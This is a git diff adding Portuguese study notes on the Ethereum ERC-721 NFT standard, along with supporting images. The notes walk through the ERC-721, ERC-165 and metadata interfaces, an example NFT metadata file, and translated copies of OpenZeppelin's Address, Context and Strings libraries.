"a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/2.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/2.png" new file mode 100644 index 000000000..4c0ab6761 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/2.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/3.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/3.png" new file mode 100644 index 000000000..d5d227a2f Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/3.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/4.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/4.png" new file mode 100644 index 000000000..882e9ba32 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/4.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/5.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/5.png" new file mode 100644 index 000000000..bf532ad2b Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/5.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/6.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/6.png" new file mode 100644 index 000000000..9b4bd273a Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/6.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/7.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/7.png" new file mode 100644 index 000000000..8bb42f045 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/7.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/Untitled.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/Untitled.png" new file mode 100644 index 000000000..b80f65379 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/Untitled.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/ERC721 \347\273\274\350\277\260.md" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/ERC721 \347\273\274\350\277\260.md" new file mode 100644 index 000000000..a78ec0d2b --- /dev/null +++ "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/ERC721 \347\273\274\350\277\260.md" @@ -0,0 +1,571 @@ +# ERC721 + +O [**ERC-721**](https://eips.ethereum.org/EIPS/eip-721) fornece um mapeamento único de identificadores representando ativos individuais para endereços, criado por Dieter Shirley da Dapper Labs e popularizado pelo CryptoKitties. + +Componentes principais do contrato ERC721: + +- 3 contratos de biblioteca: `Address.sol`, `Context.sol` e `Strings.sol` +- 3 contratos de interface: `IERC721.sol`, `IERC721Receiver.sol`, `IERC721Metadata.sol` +- 1 contrato `EIP165`: `ERC165.sol` + +Este texto foi baseado no artigo de aprendizado de Solidity de A e foi aprimorado por membros da comunidade, com exemplos específicos após cada ponto de conhecimento, com 1.9K⭐ no Github. Ainda está em constante aprimoramento, então sinta-se à vontade para contribuir. Link do repositório do artigo: + +https://github.com/AmazingAng/WTFSolidity + +Também foi consultado o recurso de ensino de Solidity do mestre @崔棉, link do Bilibili: + +[崔棉大师的个人空间_哔哩哔哩_Bilibili](https://space.bilibili.com/286084162/?spm_id_from=333.999.0.0) + +**Dependências do ERC-721** + +| | | | | +| ------------------- | ---- | ----------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- | +| Nome do Contrato | Tipo do Contrato | Link | Descrição | +| Address.sol | Biblioteca | https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol | Conjunto de funções relacionadas ao tipo de endereço, fornecendo confirmação de informações de endereço e funcionalidades de permissão. | +| Context.sol | Biblioteca | https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol | Fornece informações sobre o contexto de execução atual, incluindo o remetente da transação e seus dados. Esses dados geralmente podem ser obtidos através de `msg`. Remetente e `msg`. Dados, não devem ser acessados de forma direta dessa maneira, pois ao lidar com metatransações, o remetente e a conta pagante da execução podem não ser o remetente real (para a aplicação). | +| Strings.sol | Biblioteca | https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol | Fornece operações básicas de strings. | +| IERC721.sol | Definição de Interface | https://eips.ethereum.org/EIPS/eip-721 | Contrato principal | +| IERC721Receiver.sol | Interface | https://www.notion.so/ERC-721-4562e8d3cd3447fcbbb136f8ea4ff81b#a44b8a6172be44108c50c4304d11bd0f | O contrato de destino que recebe NFTs deve implementar esta interface | +| IERC721Metadata.sol | Interface | https://www.notion.so/ERC-721-4562e8d3cd3447fcbbb136f8ea4ff81b#9558ccc545754ad5a7412c3d8138e5ad | Descrição dos metadados do NFT, onde o tokenURI é definido aqui | +| EIP165 | Interface | https://eips.ethereum.org/EIPS/eip-165 | Cria um método padrão para publicar e detectar interfaces implementadas por contratos inteligentes. | + +## Diagrama de Construção do Contrato + +![Untitled](./img/2-721结构.jpeg) + +**Informações Adicionais**: Introdução às Tags Doxygen: + +> Doxygen pode converter anotações específicas do programa em arquivos de documentação. Ele pode gerar um manual de referência puro com base na estrutura do programa, convertendo anotações de acordo com a especificação em um manual de referência puro. Ele pode visualizar as relações entre documentos, extrair a estrutura do código ou usar gráficos de dependência de inclusão, diagramas de herança e diagramas de colaboração para visualizar as relações entre documentos. Os documentos de ajuda gerados pelo Doxygen podem ser formatados como CHM, RTF, PostScript, PDF, HTML, etc. +> Mais detalhes: [Doxygen Quick Start - Zhihu (zhihu.com)](https://zhuanlan.zhihu.com/p/100223113) + +**Tags Doxygen comuns na sintaxe Solidity** + +| Tag | Descrição | Contexto de Uso do Tag | +| ------- | ------- | ----------- | +| @title | Título do contrato | Contrato, Interface | +| @author | Nome do autor | Contrato, Interface, Função | +| @notice | Introdução funcional | Contrato, Interface, Função | +| @dev | Detalhes adicionais | Contrato, Interface, Função | +| @param | Lista de parâmetros | Função | +| @return | Valor de retorno da função | Função | + +## Contratos Padrão do ERC721 + +```solidity +pragma solidity ^0.8.10; + +/// @title Padrão de Token Não Fungível ERC-721 +/// @dev Veja https://eips.ethereum.org/EIPS/eip-721 +/// Nota: o identificador ERC-165 para esta interface é 0x80ac58cd. +interface ERC721 /* é ERC165 */ { + + /// @dev Este evento é acionado quando a propriedade de um NFT é transferida (geralmente quando o usuário X chama a função transfer para transferir seu NFT para outra pessoa). + /// Também inclui a criação (mint `from` == 0) e destruição (destroyed`to` == 0) de tokens. Registra o endereço de envio from, o endereço de recebimento to e o tokenid. + /// Exceção: Durante a criação do contrato, qualquer quantidade de NFTs pode ser criada e distribuída sem acionar a Transferência. + event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); + + /// @dev Este evento é acionado quando o endereço de aprovação de um NFT é alterado ou reconfirmado. O endereço zero (0x0000000000000000000000000000000000000000) indica que não há endereço aprovado. + /// Quando um evento de Transferência é acionado, isso também indica que o endereço aprovado para esse NFT (se houver) foi redefinido para zero. + /// Registra o endereço do proprietário owner, o endereço aprovado approved e o tokenid. + event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); + + /// @dev Este evento é acionado quando um gerente de terceiros (operador) é autorizado ou desautorizado em lote. + /// Registra o endereço do proprietário owner, o endereço do operador aprovado e se foi aprovado approved. + event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); + + /// @notice Consulta a quantidade de NFTs sob um determinado endereço + /// @dev Os NFTs alocados para o endereço zero são considerados inválidos, uma consulta ao endereço zero resultará em uma exceção. + /// @param _owner Endereço para o qual a quantidade de NFTs deve ser consultada + /// @return O valor retornado é a quantidade de NFTs que o endereço atual possui nesta série + function balanceOf(address _owner) external view returns (uint256); + + /// @notice Encontra o proprietário atual do NFT com o TokenID especificado + /// @dev Os NFTs alocados para o endereço zero são considerados inválidos, uma consulta resultará em uma exceção. + /// @param _tokenId Número de identificação do NFT + /// @return Retorna o endereço atual que possui o NFT + function ownerOf(uint256 _tokenId) external view returns (address); + + /// @notice Transfere a propriedade do NFT atual do endereço `_from` para o endereço de destino `_to` + /// @dev Se `msg.sender` não for o proprietário atual do NFT ou um operador de terceiros autorizado, uma exceção será lançada; Se o endereço de destino `_to` for o endereço zero, uma exceção será lançada; Se o `tokenId` do NFT for inválido, uma exceção será lançada; + /// Durante a transferência, verifica-se se o endereço de destino `_to` é um contrato, e se for, chama a interface de recebimento ERC721 'onERC721Received' + /// Se o valor de retorno não for `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`, uma exceção será lançada + /// Isto será analisado mais detalhadamente posteriormente com o código-fonte + /// @param _from Proprietário atual do NFT + /// @param _to Endereço de destino para o qual o NFT atual será enviado + /// @param _tokenId Número de identificação do NFT a ser enviado + /// @param data Algumas informações adicionais + function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable; + + /// @notice Transfere a propriedade do NFT atual do endereço `_from` para o endereço de destino `_to` + /// @dev Funcionalidade semelhante à função `safeTransferFrom()`, mas sem dados adicionais + /// @param _from Proprietário atual do NFT + /// @param _to Endereço de destino para o qual o NFT atual será enviado + /// @param _tokenId Número de identificação do NFT a ser enviado + function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable; + + /// @notice Transfere a propriedade do NFT atual do endereço `_from` para o endereço de destino `_to`, sem verificar se o endereço de destino implementa a interface de recebimento ERC721 + /// O chamador do método deve garantir que o endereço de destino `_to` seja capaz de receber o NFT, caso contrário, resultará em perda permanente + /// @dev Se `msg.sender` não for o proprietário atual do NFT ou um operador de terceiros autorizado, uma exceção será lançada; Se o endereço de destino `_to` for o endereço zero, uma exceção será lançada; Se o `tokenId` do NFT for inválido, uma exceção será lançada + /// @param _from Proprietário atual do NFT + /// @param _to Endereço de destino para o qual o NFT atual será enviado + /// @param _tokenId Número de identificação do NFT a ser enviado + function transferFrom(address _from, address _to, uint256 _tokenId) external payable; + + /// @notice Altera ou reafirma o endereço de aprovação do NFT + /// @dev O endereço zero indica que não há endereço aprovado. Se `msg.sender` não for o proprietário atual do NFT ou um operador de terceiros autorizado, uma exceção será lançada + /// @param _approved Novo controlador aprovado para o NFT + /// @param _tokenId NFTID a ser aprovado + function approve(address _approved, uint256 _tokenId) external payable; + + /// @notice Autoriza ou revoga um gerente de terceiros a gerenciar todos os ativos (NFTs) sob a conta `msg.sender` + /// @dev Aciona o evento ApprovalForAll. O contrato deve permitir que um proprietário de NFT tenha vários gerentes de terceiros autorizados + /// @param _operator Endereço a ser adicionado à coleção de gerentes de terceiros + /// @param _approved Se o gerente de terceiros for aprovado, é verdadeiro, se for revogado, é falso + function setApprovalForAll(address _operator, bool _approved) external; + + /// @notice Consulta a qual endereço `_owner` um NFT específico foi aprovado + /// @dev Se o número de identificação do NFT for inválido, uma exceção será lançada + /// @param _tokenId Número de identificação do NFT para verificar a aprovação + /// @return Retorna o endereço de aprovação atual do NFT, se não houver, retorna o endereço zero + function getApproved(uint256 _tokenId) external view returns (address); + + /// @notice Consulta se um endereço `_owner` autorizou em lote um endereço `_operator` a gerenciar todos os ativos (NFTs) + /// @param _owner Endereço do proprietário do NFT + /// @param _operator Endereço do gerente de terceiros a ser verificado se foi autorizado + /// @return Verdadeiro se `_operator` for aprovado por `_owner`, caso contrário, falso + function isApprovedForAll(address _owner, address _operator) external view returns (bool); +} +``` + +# Minha Experiência Pessoal: + +**A necessidade é a abstração de nível mais alto**: Antes de desenvolver um projeto, é crucial entender a análise de necessidades. + +**As interfaces são a segunda abstração mais alta**: Ao aprender sobre contratos inteligentes, é importante começar pelas interfaces, entendê-las completamente e, em seguida, usar esse entendimento para criticar a implementação das interfaces. É melhor não tentar inferir a funcionalidade do contrato a partir da implementação de uma interface que você não entende completamente, pois isso pode levar a uma interpretação errada. + +**A definição de interfaces está acima das necessidades de primeira ordem**: Por exemplo, na minha compreensão, o contrato 721 resolve o problema da **transferência de propriedade**, e usando esse princípio, podemos continuar a melhorar a direção do contrato 721. Todos os problemas do mundo real relacionados à transferência de propriedade podem ser usados para melhorar o contrato 721 no futuro. Compras, vendas, empréstimos, resgates, hipotecas, roubos, destruição, leilões, crowdfunding, trocas, dividendos, mint em lote, transformação em lote... Todas essas aplicações do mundo real são direcionamentos para melhorar o contrato no futuro, então é importante manter-se fiel aos "primeiros princípios". + +## ERC165 + +```solidity +interface ERC165 { + /// @notice Verifica se o contrato implementou uma determinada interface + /// @param interfaceID Identificador especificado em ERC-165 para identificar a interface, conforme especificado em ERC-165 + /// @dev O identificador da interface é especificado em ERC-165. Esta função usa menos de 30.000 unidades de gás + /// @return Retorna `true` se o contrato implementar a interface `interfaceID` diferente de 0xffffffff, caso contrário, retorna `false` + function supportsInterface(bytes4 interfaceID) external view returns (bool); +} +``` + +## ERC721TokenReceiver + +```solidity +// Carteiras/Corretores/Leilões que desejam aceitar transferências seguras devem implementar esta interface +/// @dev Nota: o identificador ERC-165 para esta interface é 0x150b7a02. +interface ERC721TokenReceiver { + /// @notice Lida com a recepção de NFTs, o contrato receptor de tokens deve implementar esta interface para que a transferência seja bem-sucedida + /// @dev Após a `transfer`, o contrato ERC721 chama esta função no receptor, se não implementar `onERC721Received`, pode lançar uma exceção e reverter a transação + /// @param _operator Endereço que chama a função `safeTransferFrom` + /// @param _from Endereço anterior que possuía o NFT + /// @param _tokenId + /// @param _data Dados adicionais sem formato específico + /// @return Retorna `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` ou lança uma exceção + function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4); +} +``` + +## ERC721Metadata + +```solidity +/// A extensão de metadados é opcional para contratos inteligentes ERC-721 (consulte a explicação abaixo). Isso permite consultar o nome do seu contrato e os detalhes dos ativos representados pelos seus NFTs. +/// @title Padrão de Token Não Fungível ERC-721, extensão de metadados opcional +/// @dev Veja https://eips.ethereum.org/EIPS/eip-721 +/// Nota: o identificador ERC-165 para esta interface é 0x5b5e139f. +interface ERC721Metadata /* é ERC721 */ { + /// @notice Retorna um nome descritivo para a coleção de NFTs + function name() external view returns (string memory _name); + + /// @notice O símbolo da coleção de NFTs neste contrato + function symbol() external view returns (string memory _symbol); + + /// @notice Retorna um identificador único de recursos uniforme (URI) para o `_tokenId` especificado. + /// @dev Se o `_tokenId` não for um NFT válido, uma exceção será lançada. O URI é definido na RFC 3986. O URI pode apontar para um arquivo JSON que esteja em conformidade com o "ERC721" + function tokenURI(uint256 _tokenId) external view returns (string memory); +} +``` + +Para exemplificar, vamos considerar o arquivo de metadados do gato de radar #1623: + +![Untitled](.\img\3.png) + +```json +{ + "name": "BanaCat #1623", // Nome do NFT + "description": "Pixel kitty with different styles, if you're tired of those 'bored' Apes, come and take a look at these cute cats~ Maybe they are the most suitable NFT for avatar and your honey may love them too. Let's explore what the next kitty will wear on his/her head!", // Descrição do projeto + "image": "ipfs://QmYr9NUaom7uijzTdsjvQ57hRNV4gttnhXF7Sgvt36cUUh/1623.png", // Localização do arquivo de imagem na rede IPFS, semelhante a um URL no protocolo HTTP + "dna": "b39631c09c646593738fa44a1d8665cdb74faf08", // Resumo de dados gerado a partir dos atributos do NFT, garantindo que não haja arquivos de imagem duplicados com base nesses dados + "edition": 1623, // Pode ser entendido como um número de identificação + "date": 1643206138987, // Data de criação + "attributes": [ // Atributos da imagem + { + "trait_type": "background", // Fundo laranja + "value": "Orange" + }, + { + "trait_type": "head", // Cabeça cinza + "value": "Gray" + }, + { + "trait_type": "blush", // Bochechas cor-de-rosa + "value": "Pink" + }, + { + "trait_type": "nose", // Nariz marrom + "value": "Brown" + }, + { + "trait_type": "mouse", // Boca sorridente + "value": "Smile" + }, + { + "trait_type": "eyes", // Olhos brilhantes + "value": "Blingbling" + }, + { + "trait_type": "hat", // Chapéu de radar (em homenagem à engenharia de comunicação de radar da Xidian University) + "value": "Radar" + } + ], + "Author": "shuxun" +} + +Cada NFT terá um arquivo JSON correspondente, e todos os arquivos estarão em uma pasta que será enviada para a rede IPFS, gerando um endereço CID de pasta, que é o "baseURI" no contrato, e os endereços individuais dos arquivos de cada NFT são concatenados a partir desse endereço base. +``` + +## Address.sol (Apenas observe o método `isContract()` por enquanto) + + **Conhecimento Prévio** + +![外部账户和合约账户.png](./img/1-外部账户和合约账户.png) + +Conta Externa (`EOA`): Uma conta controlada por alguém que possui a chave privada; Conta de Contrato (`CA`): Uma conta composta por um contrato inteligente, sem chave privada. + +Somente contas de contrato têm código, armazenando o **codeHash**, e o método do contrato **isContract()** usa essa propriedade para determinar se o endereço de destino é um endereço de contrato. + +```jsx +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (última atualização v4.7.0) (utils/Address.sol) + +pragma solidity ^0.8.1; + +/** + * @dev Coleção de funções relacionadas ao tipo de endereço + */ +library Address { + /** +/** + * @dev Retorna "true" se o endereço fornecido for um endereço de contrato + * [IMPORTANTE] + * ==== + * Quando este método retorna "false", assume-se que o endereço fornecido é um endereço de conta externa (EOA) e não um endereço de contrato, o que não é seguro + * Entre outros, `isContract` retornará false para os seguintes + * tipos de endereços: + * 1. Contas externas reais (controladas por alguém que possui a chave privada); + * 2. No construtor do contrato, passando o endereço deste contrato address(this) como parâmetro para chamar isContract(); + * 3. Um endereço onde um contrato será criado; (2, 3 adicionados por "0xMax". Entendo que não é necessário chamar isContract neste contexto de transação ou executar isContract antes de chamar Create ou create2) + * 4. O endereço ainda existe, mas o contrato foi destruído; + * ==== + * + * [IMPORTANTE] + * ==== + * Você não deve depender de `isContract` para evitar ataques de flash empréstimo! + * Impedir chamadas de contratos é altamente desencorajado. Isso quebra a composabilidade, quebra o suporte para carteiras inteligentes + * como Gnosis Safe e não fornece segurança, pois pode ser contornado chamando de um construtor de contrato. + * ==== + */ + function isContract(address account) internal view returns (bool) { + // Este método depende de extcodesize/address.code.length, que retorna 0 + // para contratos em construção, já que o código é armazenado apenas no final + // da execução do construtor. + + return account.code.length > 0; + } + + /** + * @dev Substitui o `transfer` do Solidity: envia `amount` wei para + * `recipient`, encaminhando todo o gás disponível e revertendo em caso de erros. + * Substituição para o `transfer` do Solidity: envia `amount` wei para + * `recipient`, encaminhando todo o gás disponível e revertendo em caso de erros. + */ + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: saldo insuficiente"); + + (bool success, ) = recipient.call{value: amount}(""); + require(success, "Address: impossível enviar valor, o destinatário pode ter revertido"); + } + + /** + * @dev Realiza uma chamada de função Solidity usando um `call` de baixo nível. Um + * `call` simples é uma substituição insegura para uma chamada de função: use esta + * função em vez disso. + * + * Se `target` reverter com um motivo de revert, ele é repassado por esta + * função (como chamadas de função regulares do Solidity). + * + * Retorna os dados brutos retornados. Para converter para o valor de retorno esperado, + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + * + * Requisitos: + * + * - `target` deve ser um contrato. + * - chamar `target` com `data` não deve reverter. + * + * _Disponível desde v3.1._ + */ + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: chamada de baixo nível falhou"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], mas com + * `errorMessage` como motivo de revert padrão quando `target` reverte. + * + * _Disponível desde v3.1._ + */ + function functionCall( + address target, + bytes memory data, + string memory errorMessage + ) internal returns (bytes memory) { + return functionCallWithValue(target, data, 0, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas também transferindo `value` wei para `target`. + * + * Requisitos: + * + * - o contrato chamador deve ter um saldo ETH de pelo menos `value`. + * - a função Solidity chamada deve ser `payable`. + * + * _Disponível desde v3.1._ + */ + function functionCallWithValue( + address target, + bytes memory data, + uint256 value + ) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: chamada de baixo nível com valor falhou"); + } + + /** + * @dev Mesmo que {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], mas + * com `errorMessage` como motivo de revert padrão quando `target` reverte. + * + * _Disponível desde v3.1._ + */ + function functionCallWithValue( + address target, + bytes memory data, + uint256 value, + string memory errorMessage + ) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: saldo insuficiente para chamada"); + require(isContract(target), "Address: chamada para não contrato"); + + (bool success, bytes memory returndata) = target.call{value: value}(data); + return verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas realizando uma chamada estática. + * + * _Disponível desde v3.3._ + */ + function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { + return functionStaticCall(target, data, "Address: chamada estática de baixo nível falhou"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-string-}[`functionCall`], + * mas realizando uma chamada estática. + * + * _Disponível desde v3.3._ + */ + function functionStaticCall( + address target, + bytes memory data, + string memory errorMessage + ) internal view returns (bytes memory) { + require(isContract(target), "Address: chamada estática para não contrato"); + + (bool success, bytes memory returndata) = target.staticcall(data); + return verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas realizando uma chamada de delegação. + * + * _Disponível desde v3.4._ + */ + function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { + return functionDelegateCall(target, data, "Address: chamada de delegação de baixo nível falhou"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-string-}[`functionCall`], + * mas realizando uma chamada de delegação. + * + * _Disponível desde v3.4._ + */ + function functionDelegateCall( + address target, + bytes memory data, + string memory errorMessage + ) internal returns (bytes memory) { + require(isContract(target), "Address: chamada de delegação para não contrato"); + + (bool success, bytes memory returndata) = target.delegatecall(data); + return verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Ferramenta para verificar se uma chamada de baixo nível foi bem-sucedida e reverter se não foi, seja repassando o + * motivo de revert usando o fornecido. + * + * _Disponível desde v4.3._ + */ + function verifyCallResult( + bool success, + bytes memory returndata, + string memory errorMessage + ) internal pure returns (bytes memory) { + if (success) { + return returndata; + } else { + // Procura pelo motivo de revert e o repassa se presente + if (returndata.length > 0) { + // A maneira mais fácil de repassar o motivo de revert é usando a memória via assembly + /// @solidity memory-safe-assembly + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} +``` + +## Context.sol + +```jsx +/** + * @dev Fornece informações sobre o contexto de execução atual, incluindo o + * remetente da transação e seus dados. Embora essas informações geralmente estejam disponíveis + * via msg.sender e msg.data, elas não devem ser acessadas de maneira direta + * pois, ao lidar com meta-transações, a conta que envia e + * paga pela execução pode não ser o remetente real (para uma aplicação + * é considerado). + * Fornece informações sobre o contexto de execução atual, incluindo o + * remetente da transação e seus dados. Embora essas informações geralmente estejam disponíveis + * via msg.sender e msg.data, elas não devem ser acessadas de maneira direta + * pois, ao lidar com meta-transações, a conta que envia e + * paga pela execução pode não ser o remetente real (para uma aplicação + * é considerado). + */ +abstract contract Context { + function _msgSender() internal view virtual returns (address) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes calldata) { + return msg.data; + } +} +``` + +## String.sol + +```jsx +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (última atualização v4.7.0) (utils/Strings.sol) + +pragma solidity ^0.8.0; + +/** + * @dev Operações de string. + */ +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + uint8 private constant _ADDRESS_LENGTH = 20; + + /** + * @dev Converte um `uint256` para sua representação decimal ASCII `string`. + */ + function toString(uint256 value) internal pure returns (string memory) { + // Inspirado na implementação da OraclizeAPI - licença MIT + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal ASCII `string`. + */ + function toHexString(uint256 value) internal pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal ASCII `string` com comprimento fixo. + */ + function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: comprimento hexadecimal insuficiente"); + return string(buffer); + } + + /** + * @dev Converte um `address` com comprimento fixo de 20 bytes para sua representação ASCII `string` hexadecimal não verificada. + */ + function toHexString(address addr) internal pure returns (string memory) { + return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); + } +} +``` \ No newline at end of file diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/1-\345\244\226\351\203\250\350\264\246\346\210\267\345\222\214\345\220\210\347\272\246\350\264\246\346\210\267.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/1-\345\244\226\351\203\250\350\264\246\346\210\267\345\222\214\345\220\210\347\272\246\350\264\246\346\210\267.png" new file mode 100644 index 000000000..9ad52814c Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/1-\345\244\226\351\203\250\350\264\246\346\210\267\345\222\214\345\220\210\347\272\246\350\264\246\346\210\267.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/2-721\347\273\223\346\236\204.jpeg" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/2-721\347\273\223\346\236\204.jpeg" new file mode 100644 index 000000000..5b2adc32e Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/2-721\347\273\223\346\236\204.jpeg" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/3.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/3.png" new file mode 100644 